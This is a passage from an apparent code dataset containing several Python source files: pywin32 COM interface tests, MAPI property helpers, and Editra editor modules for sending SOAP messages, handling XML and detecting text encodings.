num)\n progress(\"Finished testing counter\")\n\ndef TestLocalVTable(ob):\n # Python doesn't fully implement this interface.\n if ob.DoubleString(\"foo\") != \"foofoo\":\n raise error(\"couldn't foofoo\")\n\n###############################\n##\n## Some vtable tests of the interface\n##\ndef TestVTable(clsctx=pythoncom.CLSCTX_ALL):\n # Any vtable interfaces marked as dual *should* be able to be\n # correctly implemented as IDispatch.\n ob = win32com.client.Dispatch(\"Python.Test.PyCOMTest\")\n TestLocalVTable(ob)\n # Now test it via vtable - use some C++ code to help here as Python can't do it directly yet.\n tester = win32com.client.Dispatch(\"PyCOMTest.PyCOMTest\")\n testee = pythoncom.CoCreateInstance(\"Python.Test.PyCOMTest\", None, clsctx, pythoncom.IID_IUnknown)\n # check we fail gracefully with None passed.\n try:\n tester.TestMyInterface(None)\n except pythoncom.com_error, details:\n pass\n # and a real object.\n tester.TestMyInterface(testee)\n\ndef TestVTable2():\n # We once crashed creating our object with the native interface as\n # the first IID specified. We must do it _after_ the tests, so that\n # Python has already had the gateway registered from last run.\n ob = win32com.client.Dispatch(\"Python.Test.PyCOMTest\")\n iid = pythoncom.InterfaceNames[\"IPyCOMTest\"]\n clsid = \"Python.Test.PyCOMTest\"\n clsctx = pythoncom.CLSCTX_SERVER\n try:\n testee = pythoncom.CoCreateInstance(clsid, None, clsctx, iid)\n except TypeError:\n # Python can't actually _use_ this interface yet, so this is\n # \"expected\". Any COM error is not.\n pass\n\ndef TestVTableMI():\n clsctx = pythoncom.CLSCTX_SERVER\n ob = pythoncom.CoCreateInstance(\"Python.Test.PyCOMTestMI\", None, clsctx, pythoncom.IID_IUnknown)\n # This inherits from IStream.\n ob.QueryInterface(pythoncom.IID_IStream)\n # This implements IStorage, specifying the IID as a string\n ob.QueryInterface(pythoncom.IID_IStorage)\n # IDispatch should always work\n ob.QueryInterface(pythoncom.IID_IDispatch)\n \n iid = pythoncom.InterfaceNames[\"IPyCOMTest\"]\n try:\n ob.QueryInterface(iid)\n except TypeError:\n # Python can't actually _use_ this interface yet, so this is\n # \"expected\". Any COM error is not.\n pass\n\ndef TestQueryInterface(long_lived_server = 0, iterations=5):\n tester = win32com.client.Dispatch(\"PyCOMTest.PyCOMTest\")\n if long_lived_server:\n # Create a local server\n t0 = win32com.client.Dispatch(\"Python.Test.PyCOMTest\", clsctx=pythoncom.CLSCTX_LOCAL_SERVER)\n # Request custom interfaces a number of times\n prompt = [\n \"Testing QueryInterface without long-lived local-server #%d of %d...\",\n \"Testing QueryInterface with long-lived local-server #%d of %d...\"\n ]\n\n for i in range(iterations):\n progress(prompt[long_lived_server!=0] % (i+1, iterations))\n tester.TestQueryInterface()\n\nclass Tester(win32com.test.util.TestCase):\n def testVTableInProc(self):\n # We used to crash running this the second time - do it a few times\n for i in range(3):\n progress(\"Testing VTables in-process #%d...\" % (i+1))\n TestVTable(pythoncom.CLSCTX_INPROC_SERVER)\n def testVTableLocalServer(self):\n for i in range(3):\n progress(\"Testing VTables out-of-process #%d...\" % (i+1))\n TestVTable(pythoncom.CLSCTX_LOCAL_SERVER)\n def testVTable2(self):\n for i in range(3):\n TestVTable2()\n def testVTableMI(self):\n for i in range(3):\n TestVTableMI()\n def testMultiQueryInterface(self):\n TestQueryInterface(0,6)\n # When we use the custom interface in the presence of a long-lived\n # local server, i.e. a local server that is already running when\n # we request an instance of our COM object, and remains afterwards,\n # then after repeated requests to create an instance of our object\n # the custom interface disappears -- i.e. QueryInterface fails with\n # E_NOINTERFACE. Set the upper range of the following test to 2 to\n # pass this test, i.e. TestQueryInterface(1,2)\n TestQueryInterface(1,6)\n def testDynamic(self):\n TestDynamic()\n def testGenerated(self):\n TestGenerated()\n\nif __name__=='__main__':\n # XXX - todo - Complete hack to crank threading support.\n # Should NOT be necessary\n def NullThreadFunc():\n pass\n import thread\n thread.start_new( NullThreadFunc, () )\n\n if \"-v\" in sys.argv: verbose = 1\n \n win32com.test.util.testmain()\n", "id": "12491042", "language": "Python", "matching_score": 2.9041061401367188, "max_stars_count": 3, "path": "Lib/site-packages/win32com/test/testPyComTest.py" }, { "content": "# General utilities for MAPI and MAPI objects.\n# We used to use these old names from the 'types' module...\nTupleType=tuple\nListType=list\nIntType=int\nfrom pywintypes import TimeType\nimport pythoncom\nfrom . import mapi, mapitags\n\nprTable = {}\ndef GetPropTagName(pt):\n\tif not prTable:\n\t\tfor name, value in mapitags.__dict__.iteritems():\n\t\t\tif name[:3] == 'PR_':\n\t\t\t\t# Store both the full ID (including type) and just the ID.\n\t\t\t\t# This is so PR_FOO_A and PR_FOO_W are still differentiated,\n\t\t\t\t# but should we get a PT_FOO with PT_ERROR set, we fallback\n\t\t\t\t# to the ID.\n\n\t\t\t\t# String types should have 3 definitions in mapitags.py\n\t\t\t\t# PR_BODY\t= PROP_TAG( PT_TSTRING,\t4096)\n\t\t\t\t# PR_BODY_W\t= PROP_TAG( PT_UNICODE, 4096)\n\t\t\t\t# PR_BODY_A\t= PROP_TAG( PT_STRING8, 4096)\n\t\t\t\t# The following change ensures a lookup using only the the\n\t\t\t\t# property id returns the conditional default.\n\n\t\t\t\t# PT_TSTRING is a conditional assignment for either PT_UNICODE or\n\t\t\t\t# PT_STRING8 and should not be returned during a lookup.\n\n\t\t\t\tif mapitags.PROP_TYPE(value) == mapitags.PT_UNICODE or \\\n\t\t\t\t\tmapitags.PROP_TYPE(value) == mapitags.PT_STRING8:\n\n\t\t\t\t\tif name[-2:] == '_A' or name[-2:] == '_W':\n\t\t\t\t\t\tprTable[value] = name\n\t\t\t\t\telse:\n\t\t\t\t\t\tprTable[mapitags.PROP_ID(value)] = name\n\n\t\t\t\telse:\n\t\t\t\t\tprTable[value] = name\n\t\t\t\t\tprTable[mapitags.PROP_ID(value)] = name\n\n\ttry:\n\t\ttry:\n\t\t\treturn prTable[pt]\n\t\texcept KeyError:\n\t\t\t# Can't find it exactly - see if the raw ID exists.\n\t\t\treturn prTable[mapitags.PROP_ID(pt)]\n\texcept KeyError:\n\t\t# god-damn bullshit hex() warnings: I don't see a way to get the\n\t\t# old behaviour without a warning!!\n\t\tret = hex(long(pt))\n\t\t# -0x8000000L -> 0x80000000\n\t\tif ret[0]=='-': ret = ret[1:]\n\t\tif ret[-1]=='L': ret = ret[:-1]\n\t\treturn ret\n\nmapiErrorTable = {}\ndef GetScodeString(hr):\n\tif not mapiErrorTable:\n\t\tfor name, value in mapi.__dict__.iteritems():\n\t\t\tif name[:7] in ['MAPI_E_', 'MAPI_W_']:\n\t\t\t\tmapiErrorTable[value] = name\n\treturn mapiErrorTable.get(hr, pythoncom.GetScodeString(hr))\n\n\nptTable = {}\ndef GetMapiTypeName(propType, rawType=True):\n\t\"\"\"Given a mapi type flag, return a string description of the type\"\"\"\n\tif not ptTable:\n\t\tfor name, value in mapitags.__dict__.iteritems():\n\t\t\tif name[:3] == 'PT_':\n\t\t\t\t# PT_TSTRING is a conditional assignment\n\t\t\t\t# for either PT_UNICODE or PT_STRING8 and\n\t\t\t\t# should not be returned during a lookup.\n\t\t\t\tif name in ['PT_TSTRING', 'PT_MV_TSTRING']:\n\t\t\t\t\tcontinue\n\t\t\t\tptTable[value] = name\n\n\tif rawType:\n\t\tpropType = propType & ~mapitags.MV_FLAG\n\treturn ptTable.get(propType, str(hex(propType)))\n\ndef GetProperties(obj, propList):\n\t\"\"\"Given a MAPI object and a list of properties, return a list of property values.\n\t\n\tAllows a single property to be passed, and the result is a single object.\n\t\n\tEach request property can be an integer or a string. Of a string, it is \n\tautomatically converted to an integer via the GetIdsFromNames function.\n\t\n\tIf the property fetch fails, the result is None.\n\t\"\"\"\n\tbRetList = 1\n\tif type(propList) not in [TupleType, ListType]:\n\t\tbRetList = 0\n\t\tpropList = (propList,)\n\trealPropList = []\n\trc = []\n\tfor prop in propList:\n\t\tif type(prop)!=IntType:\t# Integer\n\t\t\tprops = ( (mapi.PS_PUBLIC_STRINGS, prop), )\n\t\t\tpropIds = obj.GetIDsFromNames(props, 0)\n\t\t\tprop = mapitags.PROP_TAG( mapitags.PT_UNSPECIFIED, mapitags.PROP_ID(propIds[0]))\n\t\trealPropList.append(prop)\n\t\t\n\thr, data = obj.GetProps(realPropList,0)\n\tif hr != 0:\n\t\tdata = None\n\t\treturn None\n\tif bRetList:\n\t\treturn [v[1] for v in data]\n\telse:\n\t\treturn data[0][1]\n\ndef GetAllProperties(obj, make_tag_names = True):\n\ttags = obj.GetPropList(0)\n\thr, data = obj.GetProps(tags)\n\tret = []\n\tfor tag, val in data:\n\t\tif make_tag_names:\n\t\t\thr, tags, array = obj.GetNamesFromIDs( (tag,) )\n\t\t\tif type(array[0][1])==type(u''):\n\t\t\t\tname = array[0][1]\n\t\t\telse:\n\t\t\t\tname = GetPropTagName(tag)\n\t\telse:\n\t\t\tname = tag\n\t\tret.append((name, val))\n\treturn ret\n\n_MapiTypeMap = {\n type(0.0): mapitags.PT_DOUBLE,\n type(0): mapitags.PT_I4,\n type(''.encode('ascii')): mapitags.PT_STRING8, # str in py2x, bytes in 3x\n type(u''): mapitags.PT_UNICODE, # unicode in py2x, str in 3x\n type(None): mapitags.PT_UNSPECIFIED,\n # In Python 2.2.2, bool isn't a distinct type (type(1==1) is type(0)).\n}\n\ndef SetPropertyValue(obj, prop, val):\n\tif type(prop)!=IntType:\n\t\tprops = ( (mapi.PS_PUBLIC_STRINGS, prop), )\n\t\tpropIds = obj.GetIDsFromNames(props, mapi.MAPI_CREATE)\n\t\tif val == (1==1) or val == (1==0):\n\t\t\ttype_tag = mapitags.PT_BOOLEAN\n\t\telse:\n\t\t\ttype_tag = _MapiTypeMap.get(type(val))\n\t\t\tif type_tag is None:\n\t\t\t\traise ValueError(\"Don't know what to do with '%r' ('%s')\" % (val, type(val)))\n\t\tprop = mapitags.PROP_TAG( type_tag, mapitags.PROP_ID(propIds[0]))\n\tif val is None:\n\t\t# Delete the property\n\t\tobj.DeleteProps((prop,))\n\telse:\n\t\tobj.SetProps(((prop,val),))\n\ndef SetProperties( msg, propDict):\n\t\"\"\" Given a Python dictionary, set the objects properties.\n\t\n\tIf the dictionary key is a string, then a property ID is queried\n\totherwise the ID is assumed native.\n\t\n\tCoded for maximum efficiency wrt server calls - ie, maximum of\n\t2 calls made to the object, regardless of the dictionary contents\n\t(only 1 if dictionary full of int keys)\n\t\"\"\"\n\n\tnewProps = []\n\t# First pass over the properties we should get IDs for.\n\tfor key, val in propDict.iteritems():\n\t\tif type(key) in [str, unicode]:\n\t\t\tnewProps.append((mapi.PS_PUBLIC_STRINGS, key))\n\t# Query for the new IDs\n\tif newProps: newIds = msg.GetIDsFromNames(newProps, mapi.MAPI_CREATE)\n\tnewIdNo = 0\n\tnewProps = []\n\tfor key, val in propDict.iteritems():\n\t\tif type(key) in [str, unicode]:\n\t\t\ttype_val=type(val)\n\t\t\tif type_val in [str, unicode]:\n\t\t\t\ttagType = mapitags.PT_UNICODE\n\t\t\telif type_val==IntType:\n\t\t\t\ttagType = mapitags.PT_I4\n\t\t\telif type_val==TimeType:\n\t\t\t\ttagType = mapitags.PT_SYSTIME\n\t\t\telse:\n\t\t\t\traise ValueError(\"The type of object %s(%s) can not be written\" % (repr(val),type_val))\n\t\t\tkey = mapitags.PROP_TAG(tagType, mapitags.PROP_ID(newIds[newIdNo]))\n\t\t\tnewIdNo = newIdNo + 1\n\t\tnewProps.append( (key, val) )\n\tmsg.SetProps(newProps)\n\n", "id": "7333831", "language": "Python", "matching_score": 0.950413703918457, "max_stars_count": 3, "path": "Lib/site-packages/win32comext/mapi/mapiutil.py" }, { "content": "###############################################################################\n# Name: weblib.py #\n# Purpose: Web an network utilties #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2010 <NAME> <<EMAIL>> #\n# Licence: wxWindows Licence #\n###############################################################################\n\n\"\"\"\nEditra Buisness Model Library: Web Utilities\n\nUtility functions for working with web and other networking protocols\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: e_weblib.py 66131 2010-11-13 05:22:48Z CJP $\"\n__revision__ = \"$Revision: 66131 $\"\n\n__all__ = ['SOAP12Message',]\n\n#-----------------------------------------------------------------------------#\n# imports\nimport urllib2\nimport httplib\n\n#-----------------------------------------------------------------------------#\n_SOAP_TPL = \"\"\"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?>\n<soap12:Envelope xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" xmlns:xsd=\\\"http://www.w3.org/2001/XMLSchema\\\" xmlns:soap12=\\\"http://www.w3.org/2003/05/soap-envelope\\\">\n<soap12:Body>\n %(msg)s\n</soap12:Body>\n</soap12:Envelope>\n\n\"\"\"\n\n_SM_TPL = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<SOAP-ENV:Envelope \nSOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" \nxmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<SOAP-ENV:Body>\n %(msg)s\n</SOAP-ENV:Body>\n</SOAP-ENV:Envelope>\n\"\"\"\n\n#-----------------------------------------------------------------------------#\n\nclass SOAP12Message(object):\n \"\"\"Class for creating and sending a message\n using the SOAP protocol.\n\n \"\"\"\n def __init__(self, host, request, msg, action=\"\"):\n \"\"\"Create the message object\n @param host: host the message will be sent to (url)\n @param request: POST request\n @param msg: XML Body text\n @keyword action: SoapAction\n\n \"\"\"\n assert len(host), \"Must specify a valid host\"\n super(SOAP12Message, self).__init__()\n\n # Attributes\n self._host = host\n self._request = request\n self._msg = msg\n self._action = action\n self._http = httplib.HTTP(self._host, 80)\n\n @property\n def MessageBody(self):\n soapmsg = _SOAP_TPL % dict(msg=self._msg)\n soapmsg = soapmsg.replace(\"\\n\", \"\\r\\n\")\n return soapmsg\n\n def Send(self):\n \"\"\"Send the message\"\"\"\n # Create the SOAP message\n soapmsg = self.MessageBody\n\n # Setup Headers\n self._http.putrequest(\"POST\", self._request)\n self._http.putheader(\"Host\", self._host)\n# self._http.putheader(\"User-Agent\", \"Python post\")\n self._http.putheader(\"Content-Type\", \"application/soap+xml; charset=utf-8\")\n self._http.putheader(\"Content-Length\", \"%d\" % len(soapmsg))\n self._http.putheader(\"SOAPAction\", '\"%s\"' % self._action)\n self._http.endheaders()\n\n # Send it\n self._http.send(soapmsg)\n\n def GetReply(self):\n \"\"\"Get the reply (may block for a long time)\n @return: (statuscode, statusmessage, header)\n\n \"\"\"\n return self._http.getreply()\n", "id": "4757537", "language": "Python", "matching_score": 1.310068130493164, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ebmlib/e_weblib.py" }, { "content": "###############################################################################\n# Name: ed_thread.py #\n# Purpose: Provides a base class for managing XML files and data. #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2011 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nXML base class\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: $\"\n__revision__ = \"$Revision: $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport types\nfrom xml.dom import minidom\nimport extern.dexml as dexml\nfrom extern.dexml.fields import *\n\n#-----------------------------------------------------------------------------#\n\nclass EdXml(dexml.Model):\n \"\"\"XML base class\"\"\"\n def __init__(self, **kwds):\n super(EdXml, self).__init__(**kwds)\n\n Xml = property(lambda self: self.GetXml(),\n lambda self, xstr: self.parse(xstr))\n PrettyXml = property(lambda self: self.GetPrettyXml(),\n lambda self, xstr: self.parse(xstr))\n\n def GetPrettyXml(self):\n \"\"\"Get a nicely formatted version of the rendered xml string\n @return: string\n\n \"\"\"\n txt = self.render()\n txt = minidom.parseString(txt).toprettyxml()\n txt = txt.replace('\\t', ' ') # DeTabify\n return txt\n\n def GetXml(self):\n \"\"\"Get the XML string for this object\n @return: string\n\n \"\"\"\n return self.render()\n\n def Write(self, path):\n \"\"\"Write the xml to a file\n @param path: string\n @return: success (bool)\n\n \"\"\"\n suceeded = True\n try:\n xmlstr = self.PrettyXml\n if isinstance(xmlstr, types.UnicodeType):\n xmlstr = xmlstr.encode('utf-8')\n handle = open(path, 'wb')\n handle.write(xmlstr)\n handle.close()\n except (IOError, OSError, UnicodeEncodeError):\n suceeded = False\n return suceeded\n\n @classmethod\n def Load(cls, path):\n \"\"\"Load this object from a file\n @return: instance\n\n \"\"\"\n instance = None\n try:\n handle = open(path, 'rb')\n xmlstr = handle.read()\n handle.close()\n instance = cls.parse(xmlstr)\n except (IOError, OSError):\n instance = None\n return instance\n", "id": "9258767", "language": "Python", "matching_score": 1.9934786558151245, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ed_xml.py" }, { "content": "###############################################################################\n# Name: txtutil.py #\n# Purpose: Text Utilities. #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2009 <NAME> <<EMAIL>> #\n# Licence: wxWindows Licence #\n###############################################################################\n\n\"\"\"\nEditra Business Model Library: Text Utilities\n\nUtility functions for managing and working with text.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: txtutil.py 67991 2011-06-20 23:48:01Z CJP $\"\n__revision__ = \"$Revision: 67991 $\"\n\n__all__ = [ 'IsUnicode', 'DecodeString']\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport types\n\n#-----------------------------------------------------------------------------#\n\ndef IsUnicode(txt):\n \"\"\"Is the given string a unicode string\n @param txt: object\n @return: bool\n\n \"\"\"\n return isinstance(txt, types.UnicodeType)\n\ndef DecodeString(txt, enc):\n \"\"\"Decode the given string with the given encoding,\n only attempts to decode if the given txt is not already Unicode\n @param txt: string\n @param enc: encoding 'utf-8'\n @return: unicode\n\n \"\"\"\n if IsUnicode(txt):\n txt = txt.decode(enc)\n return txt\n", "id": "10775877", "language": "Python", "matching_score": 0.8047047853469849, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ebmlib/txtutil.py" }, { "content": "###############################################################################\n# Name: <NAME> #\n# Purpose: File abstraction layer and text utilities #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nText/Unicode handling functions and File wrapper class\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: ed_txt.py 67628 2011-04-27 16:26:04Z CJP $\"\n__revision__ = \"$Revision: 67628 $\"\n\n#--------------------------------------------------------------------------#\n# Imports\nimport sys\nimport re\nimport time\nimport wx\nimport codecs\nimport locale\nimport types\nfrom StringIO import StringIO\n\n# Local Imports\nfrom util import Log\nfrom profiler import Profile_Get\nimport ed_msg\nimport ebmlib\nimport ed_thread\n\n#--------------------------------------------------------------------------#\n# Globals\n\n# The default fallback encoding\nDEFAULT_ENCODING = locale.getpreferredencoding()\ntry:\n codecs.lookup(DEFAULT_ENCODING)\nexcept (LookupError, TypeError):\n DEFAULT_ENCODING = 'utf-8'\n\n# File Helper Functions\n# NOTE: keep in synch with CheckBom function\nBOM = { 'utf-8' : codecs.BOM_UTF8,\n 'utf-16' : codecs.BOM,\n 'utf-32' : codecs.BOM_UTF32 }\n\n# Regex for extracting magic comments from source files\n# i.e *-* coding: utf-8 *-*, encoding=utf-8, ect...\n# The first group from this expression will be the encoding.\nRE_MAGIC_COMMENT = re.compile(\"coding[:=]\\s*\\\"*([-\\w.]+)\\\"*\")\n\n# File Load States\nFL_STATE_START = 0\nFL_STATE_READING = 1\nFL_STATE_PAUSED = 2\nFL_STATE_END = 3\nFL_STATE_ABORTED = 4\n\n#--------------------------------------------------------------------------#\n\nclass ReadError(Exception):\n \"\"\"Error happened while trying to read the file\"\"\"\n pass\n\nclass WriteError(Exception):\n \"\"\"Error happened while trying to write the file\"\"\"\n pass\n\n#--------------------------------------------------------------------------#\n\nclass EdFile(ebmlib.FileObjectImpl):\n \"\"\"Wrapper for representing a file object that stores data\n about the file encoding and path.\n\n \"\"\"\n _Checker = ebmlib.FileTypeChecker()\n\n def __init__(self, path=u'', modtime=0):\n \"\"\"Create the file wrapper object\n @keyword path: the absolute path to the file\n @keyword modtime: file modification time\n\n \"\"\"\n super(EdFile, self).__init__(path, modtime)\n\n # Attributes\n self._magic = dict(comment=None, bad=False)\n self.encoding = None\n self.bom = None\n self._mcallback = list()\n self.__buffer = None\n self._raw = False # Raw bytes?\n self._fuzzy_enc = False\n self._job = None # async file read job\n\n def _HandleRawBytes(self, bytes):\n \"\"\"Handle prepping raw bytes for return to the buffer\n @param bytes: raw read bytes\n @return: string\n\n \"\"\"\n Log(\"[ed_txt][info] HandleRawBytes called\")\n if self._magic['comment']:\n self._magic['bad'] = True\n # Return the raw bytes to put into the buffer\n self._raw = True\n return '\\0'.join(bytes)+'\\0'\n\n def _ResetBuffer(self):\n Log(\"[ed_txt][info] Resetting buffer\")\n if self.__buffer is not None:\n del self.__buffer\n self.__buffer = StringIO()\n\n def AddModifiedCallback(self, callback):\n \"\"\"Set modified callback method\n @param callback: callable\n\n \"\"\"\n self._mcallback.append(callback)\n\n def CleanUp(self):\n \"\"\"Cleanup callback\"\"\"\n pass\n\n def Clone(self):\n \"\"\"Clone the file object\n @return: EdFile\n\n \"\"\"\n fileobj = EdFile(self.GetPath(), self.GetModtime())\n fileobj.SetLastError(self.last_err)\n fileobj.SetEncoding(self.encoding)\n fileobj.bom = self.bom\n fileobj._magic = dict(self._magic)\n fileobj._fuzzy_enc = self._fuzzy_enc\n for cback in self._mcallback:\n fileobj.AddModifiedCallback(cback)\n return fileobj\n\n def DecodeText(self):\n \"\"\"Decode the text in the buffer and return a unicode string.\n @return: unicode or str\n\n \"\"\"\n assert self.__buffer is not None, \"No buffer!\"\n assert self.encoding is not None, \"Encoding Not Set!\"\n\n bytes = self.__buffer.getvalue()\n ustr = u\"\"\n try:\n if not self._fuzzy_enc or not EdFile._Checker.IsBinaryBytes(bytes):\n if self.bom is not None:\n Log(\"[ed_txt][info] Stripping %s BOM from text\" % self.encoding)\n bytes = bytes.replace(self.bom, '', 1)\n\n Log(\"[ed_txt][info] Attempting to decode with: %s\" % self.encoding)\n ustr = bytes.decode(self.encoding)\n # TODO: temporary...maybe\n # Check for utf-16 encodings which use double bytes\n # can result in NULLs in the string if decoded with\n # other encodings.\n if not self.encoding.startswith('utf') and '\\0' in ustr:\n Log(\"[ed_txt][info] NULL terminators found in decoded str\")\n Log(\"[ed_txt][info] Attempting UTF-16/32 detection...\")\n for utf_encoding in ('utf_16_le', 'utf_16_be', 'utf_32'):\n try:\n tmpstr = bytes.decode(utf_encoding)\n except UnicodeDecodeError:\n pass\n else:\n self.encoding = utf_encoding\n ustr = tmpstr\n Log(\"[ed_txt][info] %s detected\" % utf_encoding)\n break\n else:\n Log(\"[ed_txt][info] No valid UTF-16/32 bytes detected\")\n else:\n # Binary data was read\n Log(\"[ed_txt][info] Binary bytes where read\")\n ustr = self._HandleRawBytes(bytes)\n except (UnicodeDecodeError, LookupError), msg:\n Log(\"[ed_txt][err] Error while reading with %s\" % self.encoding)\n Log(\"[ed_txt][err] %s\" % msg)\n self.SetLastError(unicode(msg))\n self.Close()\n # Decoding failed so convert to raw bytes for display\n ustr = self._HandleRawBytes(bytes)\n else:\n # Log success\n if not self._raw:\n Log(\"[ed_txt][info] Decoded %s with %s\" % \\\n (self.GetPath(), self.encoding))\n\n # Scintilla bug, SetText will quit at first null found in the\n # string. So join the raw bytes and stuff them in the buffer instead.\n # TODO: are there other control characters that need to be checked\n # for besides NUL?\n if not self._raw and '\\0' in ustr:\n # Return the raw bytes to put into the buffer\n Log(\"[ed_txt][info] DecodeText - joining nul terminators\")\n ustr = '\\0'.join(bytes)+'\\0'\n self._raw = True\n\n if self._raw:\n # TODO: wx/Scintilla Bug?\n # Replace \\x05 with a space as it causes the buffer\n # to crash when its inserted.\n Log(\"[ed_txt][info] DecodeText - raw - set encoding to binary\")\n ustr = ustr.replace('\\x05', ' ')\n self.SetEncoding('binary')\n self._raw = True\n\n return ustr\n\n def DetectEncoding(self):\n \"\"\"Try to determine the files encoding\n @precondition: File handle has been opened and is valid\n @postcondition: encoding and bom attributes will be set\n\n \"\"\"\n if self.encoding != None:\n msg = (\"[ed_txt][info] DetectEncoding, skipping do to user set \"\n \"encoding: %s\") % self.encoding\n Log(msg)\n return\n\n assert self.Handle is not None, \"File handle not initialized\"\n lines = [ self.Handle.readline() for x in range(2) ]\n self.Handle.seek(0)\n enc = None\n if len(lines):\n # First check for a Byte Order Mark\n enc = CheckBom(lines[0])\n\n # If no byte-order mark check for an encoding comment\n if enc is None:\n Log(\"[ed_txt][info] DetectEncoding - Check magic comment\")\n self.bom = None\n if not self._magic['bad']:\n enc = CheckMagicComment(lines)\n if enc:\n self._magic['comment'] = enc\n else:\n Log(\"[ed_txt][info] File Has %s BOM\" % enc)\n self.bom = BOM.get(enc, None)\n\n if enc is None:\n Log(\"[ed_txt][info] Doing brute force encoding check\")\n enc = GuessEncoding(self.GetPath(), 4096)\n\n if enc is None:\n self._fuzzy_enc = True\n enc = Profile_Get('ENCODING', default=DEFAULT_ENCODING)\n\n Log(\"[ed_txt][info] DetectEncoding - Set Encoding to %s\" % enc)\n self.encoding = enc \n\n @property\n def Encoding(self):\n \"\"\"File encoding property\"\"\"\n return self.GetEncoding()\n\n def EncodeText(self):\n \"\"\"Encode the buffered text to prepare it to be written to disk\n @return: str\n\n \"\"\"\n txt = self.__buffer.getvalue()\n if not ebmlib.IsUnicode(txt):\n return txt # Already a string so just return it\n\n stxt = ''\n encs = GetEncodings()\n if self.encoding is None:\n self.encoding = Profile_Get('ENCODING', default=DEFAULT_ENCODING)\n encs.insert(0, self.encoding)\n cenc = self.encoding\n\n for enc in encs:\n try:\n stxt = txt.encode(enc)\n self.encoding = enc\n except LookupError, msg:\n Log(\"[ed_txt][err] Invalid encoding: %s\" % enc)\n Log(\"[ed_txt][err] %s\" % msg)\n self.SetLastError(unicde(msg))\n except UnicodeEncodeError, msg:\n Log(\"[ed_txt][err] Failed to encode text with %s\" % enc)\n Log(\"[ed_txt][err] %s\" % msg)\n self.SetLastError(unicode(msg))\n else:\n break\n else:\n raise\n\n # Log if the encoding changed due to encoding errors\n if self.encoding != cenc:\n Log(\"[ed_txt][warn] Used encoding %s differs from original %s\" %\\\n (self.encoding, cenc))\n\n return stxt\n\n def FireModified(self):\n \"\"\"Fire the modified callback(s)\"\"\"\n remove = list()\n for idx, mcallback in enumerate(self._mcallback):\n try:\n mcallback()\n except:\n remove.append(idx)\n\n # Cleanup any bad callbacks\n if len(remove):\n remove.reverse()\n for idx in remove:\n self._mcallback.pop(idx)\n\n def GetEncoding(self):\n \"\"\"Get the encoding used by the file it may not be the\n same as the encoding requested at construction time\n @return: string encoding name\n\n \"\"\"\n if self.encoding is None:\n # Guard against early entry\n return Profile_Get('ENCODING', default=DEFAULT_ENCODING)\n return self.encoding\n\n def GetMagic(self):\n \"\"\"Get the magic comment if one was present\n @return: string or None\n\n \"\"\"\n return self._magic['comment']\n\n def HasBom(self):\n \"\"\"Return whether the file has a bom byte or not\n @return: bool\n\n \"\"\"\n return self.bom is not None\n\n def IsRawBytes(self):\n \"\"\"Were only raw bytes read during the last read operation?\n @return: bool\n\n \"\"\"\n return self._raw\n\n def IsReadOnly(self):\n \"\"\"Return as read only when file is read only or if raw bytes\"\"\"\n return super(EdFile, self).IsReadOnly() or self.IsRawBytes()\n\n def Read(self, chunk=512):\n \"\"\"Get the contents of the file as a string, automatically handling\n any decoding that may be needed.\n @keyword chunk: read size\n @return: unicode str\n @throws: ReadError Failed to open file for reading\n\n \"\"\"\n if self.DoOpen('rb'):\n self.DetectEncoding()\n\n if self.encoding is None:\n # fall back to user setting\n self.encoding = Profile_Get('ENCODING', default=DEFAULT_ENCODING)\n Log((\"[ed_txt][warn] Failed to detect encoding \"\n \"falling back to default: %s\") % self.encoding)\n\n self._ResetBuffer()\n self._raw = False\n\n Log(\"[ed_txt][info] Read - Start reading\")\n tmp = self.Handle.read(chunk)\n while len(tmp):\n self.__buffer.write(tmp)\n tmp = self.Handle.read(chunk)\n Log(\"[ed_txt][info] Read - End reading\")\n\n self.Close()\n txt = self.DecodeText()\n self.SetModTime(ebmlib.GetFileModTime(self.GetPath()))\n self._ResetBuffer()\n return txt\n else:\n Log(\"[ed_txt][err] Read Error: %s\" % self.GetLastError())\n raise ReadError, self.GetLastError()\n\n def ReadAsync(self, control):\n \"\"\"Read the file asynchronously on a separate thread\n @param control: text control to send text to\n\n \"\"\"\n Log(\"[ed_txt][info] EdFile.ReadAsync()\")\n pid = control.GetTopLevelParent().GetId()\n filesize = ebmlib.GetFileSize(self.GetPath())\n ed_msg.PostMessage(ed_msg.EDMSG_PROGRESS_STATE, (pid, 1, filesize))\n self._job = FileReadJob(control, self.ReadGenerator, 4096)\n ed_thread.EdThreadPool().QueueJob(self._job.run)\n\n def ReadGenerator(self, chunk=512):\n \"\"\"Get the contents of the file as a string, automatically handling\n any decoding that may be needed.\n\n @keyword chunk: read size\n @return: unicode str\n @throws: ReadError Failed to open file for reading.\n\n \"\"\"\n if self.DoOpen('rb'):\n self.DetectEncoding()\n\n try:\n reader = codecs.getreader(self.encoding)(self.Handle)\n while 1:\n tmp = reader.read(chunk)\n if not len(tmp):\n break\n yield tmp\n reader.close()\n except Exception, msg:\n Log(\"[ed_txt][err] Error while reading with %s\" % self.encoding)\n Log(\"[ed_txt][err] %s\" % msg)\n self.SetLastError(unicode(msg))\n self.Close()\n if self._magic['comment']:\n self._magic['bad'] = True\n 